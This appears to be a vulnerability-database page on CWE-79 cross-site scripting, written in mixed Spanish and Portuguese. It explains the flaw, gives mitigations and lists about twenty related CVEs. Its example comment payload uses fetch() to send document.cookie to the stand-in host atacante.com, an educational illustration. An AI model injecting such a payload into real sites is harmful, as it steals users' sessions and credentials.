Fallos del tipo CWE-79

30.295 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-53831HIGHDrawIO for ownCloud 10 is vulnerable to Stored XSSEPSS 0.3%CVE-2025-31427HIGHWordPress Invico - WordPress Consulting Business Theme <= 1.9 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2024-49288MEDIUMWordPress Email Template Customizer for WooCommerce plugin <= 1.2.9.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-11185MEDIUMComplianz | GDPR/CCPA Cookie Consent <= 7.4.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.3%CVE-2025-47652HIGHWordPress Infility Global plugin <= 2.13.4 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-51681MEDIUMWordPress WP Pocket URLs plugin <= 1.0.3 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-0693MEDIUMAllow HTML in Category Descriptions <= 1.2.4 - Authenticated (Administrator+) Stored Cross-Site Scripting via Category DescriptionsEPSS 0.3%CVE-2026-5301HIGHImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in coolercontrol-uiEPSS 0.3%CVE-2024-40124MEDIUMPydio Core <= 8.2.5 is vulnerable to Cross Site Scripting (XSS) via the New URL Bookmark feature.EPSS 0.3%CVE-2018-25210HIGHWebOfisi E-Ticaret 4.0 SQL Injection via urun ParameterEPSS 0.3%CVE-2024-35752MEDIUMWordPress Stellissimo Text Box plugin 1.1.4 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-2282MEDIUMSlidorion <= 1.0.2 - Authenticated (Administrator+) Stored Cross-Site Scripting via Slidorion SettingsEPSS 0.3%CVE-2026-86609HIGHDownload Manager Pro < 7.5.6 - Unauthenticated Stored XSS via Email Lock SubscriptionEPSS 0.3%CVE-2024-27593MEDIUMA stored cross-site scripting (XSS) vulnerability in the Filter function of Eramba Version 3.22.3 Community Edition allows authenticated attEPSS 0.3%CVE-2024-49310MEDIUMWordPress Themesflat Addons For Elementor plugin <= 2.2.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-46500HIGHWordPress Wordpress Auto Spinner plugin <= 3.26.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-25096MEDIUMWordPress RSS in Page plugin <= 2.9.1 - Stored Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-31426HIGHWordPress Sticky Radio Player plugin <= 3.4 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-44041MEDIUMWordPress IdeaPush plugin <= 8.66 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-117571HIGHWP Visitor Statistics (Real Time Traffic) < 8.8 - Unauthenticated Stored XSS via Tracker Device ParametersEPSS 0.3%